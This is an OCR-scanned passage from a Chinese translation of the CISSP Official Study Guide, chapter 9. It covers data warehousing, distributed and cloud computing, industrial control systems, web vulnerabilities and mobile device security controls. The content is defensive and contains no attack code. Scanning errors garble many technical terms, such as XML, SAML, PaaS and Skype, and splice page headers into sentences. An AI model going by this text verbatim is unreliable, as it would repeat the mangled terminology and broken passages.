故意混淆可能被用来防止对敏感信息的推理。 例如， 如果会计只能够检索到最大约 1 00 万人的工资
信息， 那么将不可能获得任何有关员工个人的有用信息。 最后， 可 以使用数据库分区(本章早先己讨
论)帮助降低这些攻击。
9.4.3 数据挖掘和数据仓库
很多公司都使用 了被称为数据仓库的大型数据库， 以存储大量用于专用分析技术的多种数据库
信息。 数据仓库常常包含生产数据库出 于存储限制或数据安全性考虑而通常未予存储的详细历史
信息。
另一种被称为数据字典的存储类型常常用于存储与数据相关的关键信息， 包括用法、 类型、 源、
关系和格式。 DBMS 软件通过读取数据字典来决定用户访问数据 的访问权限。
数据挖掘技术准许分析人员对数据仓库进行搜索， 从而寻找历史数据中潜在的相关信息。 例如，
分析人员可能发现在冬季电灯泡的需求总是在增加， 那么在确定价格和促销策略时就可以使用这条
信息。 数据挖掘技术导致对可 以用于预测未来活动的数据模型的开发。
数据挖掘活动产生元数据。 元数据是关于数据的数据或关于信息的数据。 元数据不完全是数据
挖掘操作的结果， 其他的功能或服务也可以生成元数据。 可以认为元数据是数据挖掘的数据浓缩。
它也可以是超集、 子集或是大的数据集表示。 元数据可以是重要的 、 有意义的 、 相关的、 异常的或
数据集的畸变元素。
元数据的一个常见安全例子是安全事件报告。 事故报告通过使用安全审计数据挖掘工具， 从 日
志审计数据仓库中提取元数据。 在大多数'情况下， 元数据比在仓库中 的数据块具有更高的价值。 更
高的敏感性( 由 于泄露)。 因此， 元数据存储在被称为数据集市的更安全的容器中。
数据仓库和数据挖掘技术对于安全专家来说十分重要， 这主要有两个原因 。 首先， 前面曾经提
到过， 数据仓库包含大量潜在的敏感信息， 它们容易受到聚合和推理攻击。 安全专家必须确保恰当
的访问控制， 并且采取其他一些安全手段保护数据。 其次， 在数据挖掘技术被用来开发基于统计异
第 9 章 安全脆弱性、 威胁和对施
常 的入侵检测系统的基准时 ， 实际上可 以作为 安全工具使用 。
9.4.4 数据分析
数据分析是对原始数据进行检查的科学， 检查重点是从大量的信息中提取有用的信息。 数据分
析的结果可以集中于重要的异常值， 或正常之外的例外或标准I页， 或所有数据项的总结， 或一些集
中 的提取和有兴趣信息的组织。 数据分析是一个不断发展的领域， 越来越多的组织对他们的顾客和
产品收集惊人的数据量。 对庞大信息量的处理己经要求全新的数据库结构和分析工具类别， 甚至拿
起 了 " 大数据 " 的昵称。
大数据是指那些己经变得非常大的数据集合， 以至于对它们采用传统的分析或处理手段是无效
的 、 效率低下的和不充分的。 大数据涉及众多的困难挑战， 包括收集、 存储、 分析、 挖掘、 传输、
分发和结果演示。 如此大量的数据己经具备揭示细微差别和特质的潜力 ， 而那种一般的数据集则无
法解决。 从大数据中进行学习 的潜力是十分巨大的， 但处理大数据的负担同样十分沉重。 随着数据
量的增加， 数据分析的复杂性也在增加。 大数据分析要求在大规模并行或分布式处理系统中进行高
性能的分析。 在安全方面， 众多组织正在努力访问 数据并收集范围更广 、 更为详尽的事件数据。 这
一数据收集的 目 标是评估合规性、 提高效率、 提高生产力、 检测违规行为。
9.4.5 大规模并行数据系统
并行数据系统或并行计算是一个计算系统， 被设计用于同时进行大量的计算， 但并行数据系统
往往远远超出了基本的多处理能力。 它们通常包括将一个大的任务划分成更小元素的概念， 然后将
每个子元素分发到不同 的子处理系统进行井行计算 。 这中实现基于这样一个思路: 有些问题如果拆
解成更小的任务并同时处理 ， 可 以更有效地得到解决。 并行数据处理可以通过使用不同的 CPU 或多
码 CPU， 使用虚拟系统或它们的任意组合来完成。 大规模并行数据系统必须关注性能、 功耗和可靠
性月急定性问题。 涉及 1 000 个或更多个处理单元的复杂性往往随着巨大的计算能力会导致意想不到
的 问题和风险的增加。
大规模并行数据系统的竞技场仍在发展中， 这可能是因 为很多管理问题尚未被发现以及仍然还
有待解决的己知 问题。 大规模并行数据管理在管理大数据上可能是一个关键的工具， 井往往涉及云
计算、 网格计算、 对等计算解决方案。 这三个概念将在下面的部分进行阐述。
9.5 分布式系统
随着计算技术从主相U终端模型(用户可以物理分布， 但是所有功能、 活动、 数据和资源都驻留
在单个集中化的系统中)演化到客户端捕民务器模型(用户 可以独立操作功能完善的台式机， 但是仍然
在网络化的服务器上访问服务和资源)， 安全控制与概念也在演化。 这意味着客户端具有计算和存储
能力， 多个服务器通常也如此。 因此， 安全性必须涉及方方面面， 而不是只涉及单个集中化的主机。
从安全性的角度看， 这意味着: 因为处理和存储分布在多个客户端和服务器上， 所 以所有这些计算
机都必须得到适当的安全保护; 此外， 客户端和服务器之间的网络链接(在某些情况下， 这些链接可
能并非完全是本地的)也必须得到适当 的安全保护。 当评估安全体系架构时， 确保包括需求评估和分
239
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CISSP 官方学 习指南(第 7 版)
布式体系结构相关的风险评估。
在完整的主相V终端系统中， 分布式体系结构容易 出现意想不到的脆弱性。 台式机系统可能包含
存在泄露风险的敏感信息 ， 因此必须加 以保护。 单独的用户可能缺乏一般的安全意识， 因此内在的
体系结构必须弥补这些不足。 因为用户需要通过访问 网络服务器和服务来执行作业， 所以桌面 PC、
工作站和便携式电脑都能够在分布式环境的其他位置提供对关键信息系统的访问途径。 由于准许用
户计算机访问 网络及其分布资源， 组织必须认识到: 如果用户计算机被滥用或受到危害 ， 那么用户
计算机也会成为威胁。 这种软件和系统的漏洞与威胁必须 以恰 当 的方式进行应对。
通信设备也会提供不期望的分布式环境入口点。 例如， 附属于某台连接组织网络的台式机的调
制解调器会使网络容易遭受拨号攻击。 同样， 从互联网下载数据的用户增加 了 自 己和其他系统感染
恶意代码和特洛伊木马的风险。 台式机、 便携式 电脑和工作站( 以及相关联的磁盘或其他存储设备)
可能无法防范物理入侵或盗窃 。 最后， 在数据只驻留在客户机上时， 我们无法使用适当的备份保证
数据的安全(服务器往往可以进行适当 的备份 ， 而客户机则无法进行适当 的备份)。
通过前面介绍的分布式体系结构中的潜在脆弱性， 应当明白这样的环境要求采取许多防护措施
来实现适当的安全性， 并确保消除、 缓解或补救这些脆弱性。 客户端必须受到对其内 容及用户 内 容
实施防护措施的策略的约束。 下面列 出 了这些防护措施:
• 电子邮件必须被过滤， 从而使其无法成为恶意软件的感染者; 电子邮件也必须受到支配正
确使用和 限制潜在不利条件的策略的约束。
• 必须创建下载/上传策略， 从而能够过滤进 出 的数据并阻挡可疑的 内容。
• 系统必须受到可靠的访问控制的约束， 这样的访问控制可能包括多因素身份认证和/或生物
学测定因素， 从而约束对台 式机的访 问并阻止对服务器和服务的未授权访 问 。
• 应当安装和使用图形用户界面机制和数据库管理系统， 以便约束和管理对关键信息的访问。
• 对客户机上存储的文件和数据应用适当的文件加密操作(事实上， 对于容易在组织范围之外
丢失或被盗的便携式电脑和其他移动计算设备来说， 驱动器级的加密是一种不错的方法)。
• 必须分开和隔离在用户模式和监管模式中运行的进程， 从而阻止对高特权进程和功能进行
未授权和不期望的访 问 。
• 必须创 建保护域， 从而使某个客户 端遭受的损害不会 自 动危害整个网络。
• 必须按照安全分类级别或组织的敏感度清晰地标记磁盘和其他敏感材料; 应当结合过程化
进程和系统控制来帮助防止对敏感材料的 未授权或不期望的访 问 。
• 应当使用某种与客户端代理软件(能够从客户端确定和捕获在安全备份存储归档位置存储的
文件)一起工作的集中化备份实用程序对台式机上的文件进行备份(在理想J情况下还应当 备
份服务器中 的文件)。
• 台式机用户需要定期接受安全意识培训11 ， 从而保持正确的安全意识。 此外， 我们还应当告
知用户潜在 的风险并指示他们如何正确地应对这些风险 。
• 台 式计算机及其存储介质要求防范环境危险(如温度 、 湿度、 断 电/ 电压波动等)。
• 因 为可能与组织内使用户返回工作状态的其他系统和服务一样重要(或者更重要)， 所以台式
计算机必须包含在灾难恢复计划和业务连续性计划 中 。
• 在分布式环境中构建和使用 的 自 定义软件的开发人员也需要考虑安全性， 包括使用规范的
方法(例如 ， 代码库 、 变更控制机制 、 配置管理 以及补丁和更新部署)进行开发和部署。
通常， 对分布式环境进行防护意味着了解环境可能存在的脆弱性以及应用相应的安全防护措施。
这些安全防护的范围从技术解决方案和控制一直延伸到管理风险与试图限制或避免损失、 破坏、 有
第9章 安全脆弱性、 威胁和对施
害泄漏的策略和措施。
当应对漏洞和威胁时， 正确理解对策原则是非常重要的。 一些具体对策原则在第 2 章 "人员安
全和风险管理概念" 的 "风险管理 " 中进行了讨论， 但共同的一般性原则就是深度防御。 深度防御
是一条普遍的原则， 被用于提供保护性多层屏障来抵御各种形式的攻击。 要让有问题的流量或数据
穿过有着防火墙、 IDS 和有责任心的管理人员 的防御工事网络， 比起突破单独的防火墙更加困难，
这个推断看起来非常合理。 为什么不应该怀疑自 己的防御呢? 深度防御在文字或理论的同心圆中使
用 多种类型的访问控制。 这种分层的安全形式有助于组织避免单一安全位置。 单一的或要塞心态是
相信单一安全机制能提供足够的所有需要的安全性。 遗憾的是， 每个单独的安全机制都有漏洞或工
作区只等被黑客发现和滥用 。 只有通过智能组合对策， 构造和防御才可以抵御重大和持久的破坏企
图 。
9.5.1 云计算
云计算是一个流行的术语， 指的是计算的一个概念， 即处理和存储是通过网络连接而非在本地
进行。 云计算通常被认为是基于互联网的计算。 最终， 处理和存储仍然发生在某个地方的计算机上，
但区别是， 不再需要当地的运行者有能力或当地有能力。 这允许一个更大的用户群根据需求利用云
资源。 从最终用户 的角度来看， 所有的计算工作， 都在 " 云端 " 执行， 而计算的复杂性与它们无关。
云计算是虚拟化、 互联网、 分布式结构以及可随处访问数据和资源的 自然延伸和演变。 但是，
云计算也存在一些问题， 包括隐私问题、 合规性困难、 使用开/闭源解决方案、 采用 开放标准以及基
于云计算的数据是否实际上是安全的(或甚至是可保护的)。
这里列 出 一些云计算的概念:
平台即服务 平 台即服务σaaS)的概念是提供计算平台和软件解决方案作为虚拟的或基于云的
服务。 从本质上讲， 这种类型的云计算解决方案提供了一个平台 的所有方面(即操作系统和完整的解
决方案)0 PaaS 的主要吸引 力是避免了 在本地购买和维护高端的硬件和软件。
软件即服务 软件即服务(S副S)是 PaaS 的衍生物。 SaaS 提供对特定软件应用或套件的按需在线
访 问而不需要本地安装。 在许多情况下， 只有很少的本地硬件和操作系统的局限性。 SaaS 可 以实现
订 阅服务(例如， Microsoft Office 365)、 付费服务或免费服务(例如， Google Docs)。
基础设施即服务 基础设施即服务(1础S)将 PaaS 模式带到了 另一个方向， 不但提供了 按需操作
的解决方案， 还提供了完全外包的选择。 这可以包括实用或定量的计算服务、 管理任务 自 动化、 动
态规模、 虚拟化服务、 政策执行、 管理服务和托管的/过滤的互联网连接。 最终， 1aaS 允许企业通过
云系统快速扩展新的软件或基于数据的服务/解决方案， 而不 必在本地安装大量的硬件 。
9.5.2 网格计算
网格计算是并行分布处理的一种形式， 这种形式松散地把大量的处理节点组合在一起， 为实现
某个处理 目 标而工作。 网格成员可 以在随时的间隙时 间进入和离开网格。 通常， 网格成员 只有当它
们的处理能力没有本地工作负担的情况下才会加入网格。 当系统处于空闲状态时， 它可以加入一个
网格组 ， 下载一小部分的工作， 然后开始计算。 当系统离开网格时， 它保存任务并可上传己完成或
部分的工作成果给网格。 网格计算的许多有趣用途 已被开发， 包括的项 目 范围有: 寻求智慧外星生
物 、 进行蛋 白质折叠 、 预测天气 、 地震建模 、 规划财务决策和解决素数问题。
网格计算关心的最大安全问题是每个工作包的 内容潜在的完全暴露。 许多网格计算项 目 是完全
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CISSP 官方学习指南(第 7 版)
开放的， 所以没有任何限制， 谁都可以在本地运行和处理应用程序， 并参与网格的项 目 。 这就意味
着 ， 网格成员可以保存每个工作包的副本并检查内容。 因此， 网格项 目 将不能保持保密性， 以及也
不适用于隐私、 机密或专有数据 。
网格计算每时每刻的计算能力都可能发生巨大变化。 工作包有时回不来、 回来晚或有损坏地返
回 。 这将需要大量的返工， 井导致工程在速度、 进程、 响应上的不稳定性， 以及整个项 目 和每个网
格成员 的延时。 对时间敏感的项 目 可能因为没有足够的计算时间而不能在指定时间期限内完成任务。
网格计算经常用一台 中央核心服务器来管理项 目 、 跟踪工作数据包井整合返回 的工作分组。 如
果中央服务器过载或离线， 会发生网格的彻底失败或崩溃。 然而， 通常当中央网格系统不可访问时，
网格成员也可完成它们 目 前的本地任务， 然后定期轮询去发现什么时候中央服务器重新联机。 还有
一个潜在的风险， 就是一台被恶意控制的中央网格服务器可能被利用来攻击网格成员 ， 或欺骗网格
成 员去执行非网格社区 所期望的恶意行为 。
9.5.3 点对点
点对点σeer-To-Peer， 凹的技术是网络和分布式应用手里字的解决方案， 用于在点对点实体间共享
任务和工作负载。 这类似于网格计算， 与网格计算的主要区别是: 点对点没有中央管理系统， 并且
所提供的服务通常是实时的 ， 而不是作为计算能力的集合。 P2P 的常见例子包括许多 VoIP 服务 ， 如
S均pe、 BitTorrent(用 于数据/文件分布)丰日 Spotify(流媒体音步i%'音乐发行)0 P2P 解决方案的安全问题包
括传播盗版材料、 有偷听分布式内 容的能力、 缺乏中央控制/监督/管理/过滤以及为服务消耗潜在可
用带宽。
242
注意 :
密码系统在第 6 章 "密码学与对称为口密算法" 以及第 7 章 "p阳 和密码学应用" 中 已进行i手细描述。
9.6 工业控制系统
工业控制系统(ICS)是一种用于控制工业生产过程和机器的计算机管理设备。 ICS 广泛应用于众
多 的工业行业， 包括制造、 装配、 发电、 配电、 供水、 污水处理、 石油精炼。 有几种 ICS 种类， 包
括集散控制系统(DCS)、 可编程逻辑控制器(PLC)和数据采集与监控系统(SCADA)。
DCS 单元通常可以在工业处理方案中看到， 负 责从单个地点的大型网络环境中收集数据和实施
控制。 DCS 系统的一个重要方面是控制分布在所监测环境中 的元件， 如制造车间或生产线 ， 以及集
中监控场所向局部控制器发送命令， 同时收集状态和性能数据。 DCS 系统可以是模拟或数字系统，
这取决于正在执行的任务或正在控制的设备。 例如， 液体流量值 DCS 系统将是一个模拟系统， 而电
压调节器 DCS 系统可 能是一个数字系统。
PLC 是有效的单用途或专门用途的数字计算机。 它们通常被部署用于各种工业机电 自动化管理
与操作 ， 如装配线或大规模的数字灯光显示控制系统(如体育场内 或拉斯维加斯大道上的 巨型显示
系统)。
SCADA 系统可以作为独立的设备使用 ， 也可与其他 SCADA 系统组成网络或是与传统 IT 系统
组成网络。 大多数 SCADA 系统以最小的人机接口设计。 通常， 它们使用机械按钮和旋钮， 或者使
第9章 安全脆弱性、 威胁和对施
用 简单的液晶屏接口(类似于在一台商用打印机或 GPS 导航装置上看到的)。 然而， 网络 SCADA 设
备可能有更复杂的远程控制软件接口 。 理论上， SCADA、 PLC、 DCS 单元和它们的最小人机接口 的
静态设计应该防止系统陷入危险或被修改。 然而， 这些工业控制设备很少集成安全， 特别是在过去。
但近年来有几个关于工业控制系统的著名威胁: 例如， Stuxnet 首次在位于核设施的 SCADA 系统中
放置了 rootkit。 许多 SCADA 厂商己经开始实施安全， 改进他们的解决方案以避免或至少减少未来
的威胁。
9.7 评估和缓解基于 Web 系统的脆弱性
在基于 Web 的系统中有各种各样的应用和系统脆弱性与威胁， 并且范围在不断扩大。 脆弱性包
括涉及 D伍 和 SM伍， 以及许多在开放式 Web 应用程序安全项 目 (OWASP)中讨论的其他问题。
邓t1L 利用是一种编程攻击， 用 来伪造信息并将其发送给访客或导致他们的信息系统在未授权
的情况下丢弃信息。 对 刀在L 攻击 日 益关注的一个领域是安全断言标记语言(SAML)o SM伍 的滥用
往往集中于网络认证。 SA岛伍 是一种在安全域之间基于 邓伍 的组织会话， 用于交换通信、 认证和
授权的细节， 通常运行于 Web 协议之上。 SAML通常用来提供基于 Web 的 SSO(Single Sign-On)解
决方案。 如果攻击者可以伪造 SM在L通信或窃取访问者的访问 令牌， 他们就可以绕过认证并获得对
网站的未授权访问。
OWASP 是一个非营利性的安全项 目 ， 其重点在于提高在线或基于 Web 的应用程序的安全性。
OWASP 不仅仅是一个组织 ， 也是一个大型社区 ， 可以一起 自 由地分享信息、 方法、 工具、 更好的
编码实践及更安全的架构部署等相关技术。 更多的信息发布和社区参与， 访问www.owasp.org 网站。
9.8 评估和缓解移动系统的脆弱性
智能手机和其他移动设备呈现不断增加安全风险的趋势， 因为它们开始能够把互联网与企业网
络联系在一起。 当个人拥有的设备被允许进入和离开有保障的设施， 而不进行限制 、 监督或控制时 ，
有潜在的危害是无疑的。
恶意内 部人员可以通过外部不同类型的存储设备把恶意代码带入内部， 这些设备包括手机、 音
频播放器、 数码相机、 存储卡、 光盘和 USB 设备。 这些存储设备还可以用来泄漏或窃取内部机密和
私人数据， 以至于泄露到外部(你认为维基解密的大部分内容是从哪里来的? )恶意的内部人员可以
执行恶意代码 、 访 问危险的网站或故意执行有害活动 。
移动设备通常包含敏感数据 ， 如联系人、 短信、 电子邮件和可能的记录及文档 。 任何具有相机
功能的移动设备可以拍摄敏感信息或场地照片 。 移动设备的丢失或被盗可能意味着个人和/或公司 的
秘密遭受泄露 。
注意 :
由 个人拥有的设备可以任意地由下面这些术语来表达: 便携式设备、 移动设备、 个人移动设备
(PMD) 、 个人电子设备或使携 式 电子设备(PED)和个人拥有设备(POD)。
移动设备是黑客和恶意代码的共同 目 标。 不在便携式设备中存储敏感信息是很重要的: 运行防
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CISSP 官方学 习 指南(第 7 版)
火墙和 防病毒产品(如果可能的话); 并保持系统锁定和/或加密(如果可能的话)。
许多移动设备还支持 USB 连接桌面或笔记本电脑以同步通话记录和通讯录， 以及传输文件、 文
档 、 音乐、 视频等。
此外 ， 移动设备对窃听不免疫。 通过使用恰 当的复杂设备， 大多数手机的通话可以被窃听， 更
不用说在 1 5 英尺范围 内 的任何人都可以听到你说话。 因此需要注意手机谈话， 尤其是在公共场所时。
移动设备提供广泛的安全功能。 然而 ， 对这一功能的支持与对该功能的正确配置和启用不是一
回事。 只有当安全功能处于强制时才能获得安全保障。 请务必检查所有所需的安全功能是否按预期
正 常运行在你的设备上。
Android
Android 是谷歌在 2005 年开发的一种基于移动设备的操作系统。 2008 年发布了第一款安装了
Android 系 统的设备。 Android 源代码是通过 Apache 投权开放的 ， 但大多 数设备还是包括商用软件。
虽 然 Android 主要用在手机和平板电脑上， 但它在广泛的设备上还走得到 了应用 ， 包括电手财几、 游
戏机、 数码相机、 微波炉 、 钟表、 电子阅读器、 无绳电话甚至滑雪护 目 镜。
在手机和平板电脑上使用 的 Android 九许广泛的用 户 定制 : 可以安装 Goog1e Play 商店里的应用
程序 ， 也可以安装来 自 未知的外部源(如亚马逊的应用 商店)的应用程序 ， 此外许多设备支持用 定制
或修lfrJt反本史换默认版本的 Android 系 统。 然而， 当 Android 在其他设备上使用 时 ， 它 的 实现更接
近一个静态 系 统。
244
无论静态与否， Android 都有众多 的安全漏洞。 这些漏洞 包括暴露于恶意的应用程序 、 运行恶
意 网站的脚本以及九许不安全的数据传输。 Android 设备通常提升 root 权限(会破坏数据的安全和访
问 限制)， 以给予用 户 充分的 root 级别 的设备访问及底层自己直设直权限。 提升 root 权限增加 了 设备
的 安全风险， 因 为 所有 的运行代码都继承了 root 权限。
随着新版本的更新发布， Android 系 统的安全性也得到 了 改进。 用 户 可以调整众多 的配直设置，
以减少漏洞和风险。 此外 ， 用户可安装应 用 程序 来为平台 添加额外的安全功能。
iOS
iOS 是苹果公司 用 于 iPhone、 iPad、 iPod 等可移动设备以及苹果电视的操作系统。 iOS 没有授权
给任何非苹果硬件使用 。 因此， 苹果公司 完全控制 iOS 的特性和能力 。 然而， iOS 不是静态环境，
因 为用 户 可以从苹果超过 1 00 万应用 的应用 商店 中 安装任何一款应用 。 另外， iOS 经常发生越狱(打
破苹果的安全和访问 限制)， 九许用 户 从第三方安装应用 并获得 更多 控制和底层设直权限。 越狱的
iOS 设备降低了 其安全性， 并使设备面 临潜在的威胁。 用户可以调整设备设直以增强 iOS 设备的安
全性， 也可安装诸多 应用程序 来添加安全功 能。
9.8. 1 设备安全
设备安全可以在一定范围 内为移动设备提供潜在的安全选项或功能。 不是所有的便携式电子设
备σED)都有很好的安全特性。 但是， 即 使设备具有安全功能， 但除非它们能被启用和正确配置，
否则也 是没有价值的 。 在做出购买决定之前 ， 一 定要考虑新设备的安全选项。
第 9 章 安全脆弱性、 威胁和对施
1 全设备加密
一些移动设备， 包括便携式电脑、 平板电脑以及手机， 均可提供设备加密。 如果一台设备上大
多数或所有的存储媒介都可 以被加密， 这将是一个有价值的功能。 然而 ， 加密不是对数据保护的保
证 ， 特别是在设备被盗而被解锁 ， 或者系统本身有 己知的后 门攻击漏洞时。
当使用 IP 语音(VoIP)服务时， 可以在移动设备上使用语音加密。 计算机类似设备之间使用的VoIP
服务比传统电话或典型手机更有可能提供一个加密选项。 当语音会话被加密时， 窃听谈话内容就变
得毫无价值。
2. 远程擦除
如果设备丢失或被盗， 远程擦除或远程清除就成为一种常见的措施。 远程擦除可以让你远程地
删除设备上的所有数据甚至配置设置。 擦除过程可以通过移动电话服务或互联网连接进行触发。 然
而 ， 远程擦除不是对数据安全性的保证。 小偷可能足够聪明 ， 他们会在转储数据时防止连接触发擦
除功能。 此外， 远程擦除大部分是删除操作。 使用反删除或数据恢复工具可以恢复擦除的设备上的
数据 。 为了确保远程擦除破坏后恢复数据， 应对设备进行加密。 因此， 反删除操作只会恢复加密数
据 ， 而攻击者无法对其进行破译。
3. 锁定
在移动设备上锁定类似于公司工作站上的账户锁定。 当用户未能提供他们的凭据并多次重复尝
试时 ， 账户 或设备被禁用(在一段时间 内锁 定)或直到管理员清除锁定标志 。
移动设备可以提供锁定功能， 但仅在锁屏己被配置的情况下才启用。 然而， 简单的屏幕滑动就
可访问 该设备井没有提供足够的安全性， 因 为身份认证过程没有发生 。 有些设备在尝试访问时， 在
发生多次认证失效的情况下会触发更长的时延。 一些设备允许在触发数分钟的锁定之前设置尝试的
次数(如三次)。 其他设备则保持锁定并要求使用不 同 的账户 或密码/代码重新进行访问。
4. 锁屏
锁屏是为了防止有人随便拾起并能使用你的手机或移动设备。 然而， 大多数的锁屏可以通过绘
制 图案或在数字键盘上键入数字来解锁。 两者都不是真正的安全操作。 锁屏可能有变通办法， 如通
过紧急呼叫功能访问 电话应用手E芋。 如果黑客通过蓝牙、 无线或 USB 电缆等方式连接到设备上， 锁
屏就不一定真的能保护设备。
锁屏通常在一段时间后被触发。 大多数电脑如果系统被闲置几分钟， 它们将自动触发密码保护
的屏幕保护程序。 同样， 许多平板电脑和手机在 30-60 秒后触发锁屏， 并且屏幕变暗或关闭显示。
如果设备处于无人值守状态或遭受丢失或被盗， 锁定功能确保其他人很难访问你的数据或应用 。 解
锁设备时必须输入密码、 代码或 P刷、 绘制模式; 提供眼球或面部识别、 扫描指纹或使用接近设
备(如近场通信阴阳-Field Communication， NFC))和射频识别仪adio-Fr叫uency IDenti:fication， RFID)
环或片 。
注意 :
近场通信例FC)是在靠近设备之间 建立无线通信的标准。 它可以让你执行一种类型 的 自 动同步
和实现设备之间 的关联， 通过一是说虫摸它们来把它们靠近在几英寸范 围 内 。 NFC 常见于智能手机和
移动设备自己件。 它通常用 于执行设备到设备的数据交换， 建立直接通信， 或者通过与无线接入点链
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CISSP 官方学习指南(第 7 版)
接并借助 NFC 访问 史复杂的服务， 如 WPA-2 加密的无线网络。 因 为 NFC 是一种基于射频的技术，
所以它 不是没有漏洞。 NFC 攻击可 包括 中 间 人攻击 、 窃听、 数据操纵和重放攻击。
5. GPS
许多移动设备都包括一个 GPS 芯片， 以支持和受益于本地化的服务 ， 如导航， 所以有可能跟踪
这些设备 。 GPS 芯片本身通常只是一个在轨 GPS 卫星的信号接收器。 然而， 移动设备上的应用程序
可 以记录设备的 GPS 位置， 然后报告给一个在线服务。 可 以使用 GPS 跟踪以监控 自 己的运动、 跟
踪他人(如未成年人或送货人员)的运动或跟踪一台被盗的设备。 但对于 GPS 的跟踪工作 ， 移动设备
必 须通过互联网或无线 电话服务来交流位置信息 。
6. 应用控制
应用控制是一种设备管理解决方案， 可 以限制设备上应用的安装， 也可以被用来强制安装特定
的应用或执行某些应用的设置， 以支持安全基线或保持其他形式的合规性。 应用控制往往通过限制
用 户 的能力 ， 来安装来 自 未知来源或提供非工作相关功能的应用 ， 以减少对恶意程序的暴露。
7 存储分隔
存储分隔被用来人为地在存储介质上划分不同类型或数值的数据。 在移动设备上， 设备制造商
和/或服务提供商可 以使用存储分阳将设备的操作系统及预装应用程序与用户安装程序和用户数据
进行隔离。 一些移动设备管理系统进一步实施隔离， 将公司数据和应用程序与用 户数据和应用程序
分离。
8. 资产跟踪
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资产跟踪是一个管理过程， 用 于保持对库存的监督 ， 如 己部署的移动设备。 资产跟踪系统可 以
是被动的或主动的。 被动系统依赖于资产本身来定期检查或当办公室里每一次员工工作时检测设备
的存在。 主动系统使用轮询或推送技术向 设备发送查询 以 获取响应。
可 以使用资产跟踪来验证设备仍然处于被指定授权用户 的手中。 一些资产跟踪解决方案可以定
位丢失或被盗的设备。
一些资产跟踪解决方案在硬件库存管理上进行扩展， 它们可以监督己安装的应用程序、 应用程
序的使用 、 存储的数据以及设备上的数据访问。 可 以使用这种类型的监控， 以验证安全指引 的合规
性或检查机密信息是否暴露给未经授权的实体。
9. 库存控制
术语 " 库存控制 " 可描述硬件资产的跟踪(己在前面的主题中讨论)。 然而， 它也可以指使用移
动设备作为一种手段在仓库或存储柜中跟踪库存。 大多数移动设备都有一个摄像头。 通过移动设备
的相机， 应用程序可以通过拍照或扫描条形码的方式来跟踪实物 。 具备 RFID和NFC 功能的移动设
备也能够与 己使用 电子标签的对象及其容器进行交互。
1 0. 移动设备管理
移动设备管理(Mobile Device Management， MDl\句是一个管理移动设备的软件解决方案， 该方
案解决员工使用移动设备访问 公司 资源的挑战性任务。 MDM 的 目 标是提高安全性， 提供监测、 远
第9章 安全脆弱性、 威胁和对施
程管理、 支持和故障排除。 许多 队在DM 解决方案支持广泛的设备型号井可跨越多个服务提供商进行
操作。 可 以使用 MDM 通过移动网络或 Wi-Fi 连接来推送或删除应用程序， 管理数据并强化配置。
MDM 不仅可 以用来管 理公司拥有的设备 ， 也可以用来管理个人拥有 的设备(如 在 自 带设 备
(Bring-Your-Own-Device， BYOD)环境中)。
11. 设备访问控制
如果希望锁定手机并提供真正的安全， 那么在手机或其他移动设备上使用一个强大的密码将是
一个很好的思路。 然而大多数移动设备并不安全， 即使有一个强大的密码， 仍可通过蓝牙、 无线或
USB 电缆访问该设备。 对于一个特定的移动设备， 如果其系统支持锁定功能来阻止访问 该设备， 那
么这个功能是有价值的。 当设备上出现一段时间的活动闲置或手动初始化时， 该功能设置将自 动触
发 。 当你支持设备密码和存储加密时 ， 通常可以 获得这个好处。
应该考虑更多的可行方法来减少对移动设备的未授权访问 。 许多 MDM 解决方案可以强制锁屏
配置和 防止用户禁用该功能。
12. 可移动存储
许多移动设备支持可移动存储。 有些设备支持 microSD 卡 ， 该卡可用于在移动设备上扩展存储。
然而， 大多数手机在添加或删除存储卡时需要取出 背板、 移除电池。 更大的手机、 平板电脑和笔记
本 电脑提供在设备侧面方便插入的卡槽。
许多移动设备还支持外接 USB 存储设备 ， 如闪存驱动器和外部硬盘驱动器。 这可能需要一条特
殊的(On-The-Go， OTG) 电缆。
此外， 还有移动存储设备可 以通过板载无线接 口 提供蓝牙或 Wi-Fi 的方式访 问 存储数据。
1 3. 关闭不使用 的功能
虽然启用安全功能对于它们获得任何有利影响是必要的， 但是删除那些对业务任务和个人使用
无关的应用程序和禁用其功能， 同样也很重要。 启动的功能和安装的应用范围越广， 利用或软件缺
陷给设备和存储的数据带来损害的可能性就越大。 常见的安全措施， 例如加固 ， 可减少对移动设备
的攻击面。
9.8.2 应用 安全
除 了管理移动设备的安全性， 还需要专注于这些设备上使用 的应用程序和功能。 关于台式机或
笔记本电脑系统的大多数软件的安全考虑就像安全实践常识一样 ， 同样适用于移动设备。
1 . 密钥管理
密钥管理始终是加密时涉及的一个关注点 。大多数密码系统问题都出在密钥管理而不是算法上 。
好的密钥选择基于随机数的质量和可用性。 大多数移动设备必须依赖本地的、 不好的随机数产生机
制 ， 或在无线链路上访问 更强大的随机数发生器(RNG)。 一旦创建密钥， 它们需要以尽量减少暴露
损失或风险的方式进行存储。 密钥存储的最佳选择通常是可移动硬件和可信平台模块(TPM)， 但手
机和平板 电脑很少提供这些选择。
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CISSP 官方学 习指南(第 7 版)
2. 凭证管理
处在中心位置的凭据存储被称为凭据管理。 对于广泛的互联网网站和服务 ， 每一个都有 自 己特
定的登录要求， 使用独特的名称和密码将是负担。 凭据管理解决方案提供了一种方法来安全地存储
大量的凭据集。 通常这些工具在需要时使用主凭证集(优选多 因子)来解锁数据集。 一些凭证管理选
项 甚至可 以 为应用程序和 网站提供 自 动登录选工页 。
3. 认证
移动设备上的认证或对移动设备的认证通常相当简单， 特别是对于移动电话和平板电脑来说。
然而， 滑动或模式访问 不应该被认为是真正的认证。 如有可能， 使用密码、 提供 P町、 提供眼球或
人脸识别、 扫描指纹或使用距离装置(如 NFC、 盯D 环或块)。 这意味着如果正确实施， 小偷将难以
绕过设备认证 。 正如前面提到的， 需要谨慎地结合设备认证与设备加密， 以阻止通过连接电缆访问
存储的信息。
4. 地理标记
具有 GPS 支持的移动设备， 支持在使用设备拍摄照片时不仅嵌入拍摄照片的 日 期/时间信息，
还可以嵌入纬度和经度形式的地理位置标记。 这将允许攻击者从社交网络或类似网站上查看照片并
确定究竟在何时何地拍摄。 地理标记可用于非法 目 的 ， 例如确定一个人什么时候进行正常的 日 常
活动。
5. 加 密
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加密往往是有用 的， 无论数据处于存储还是传输中 ， 能提供对未授权数据访问 的保护机制 。 大
多数移动设备提供某种形式的存储加密。 当使用它们时， 加密应该被启用 。 一些移动设备提供了 本
地支持的通信加密， 但大多数可以运行附加软件(应用程序)， 它们可以添加加密的数据会话、 语音
通话和/或视频会议。
6. 应用 自名单
应用 自 名单是禁止未授权软件能够被执行的安全选项。 白名单也被称为默认拒绝或隐含拒绝。
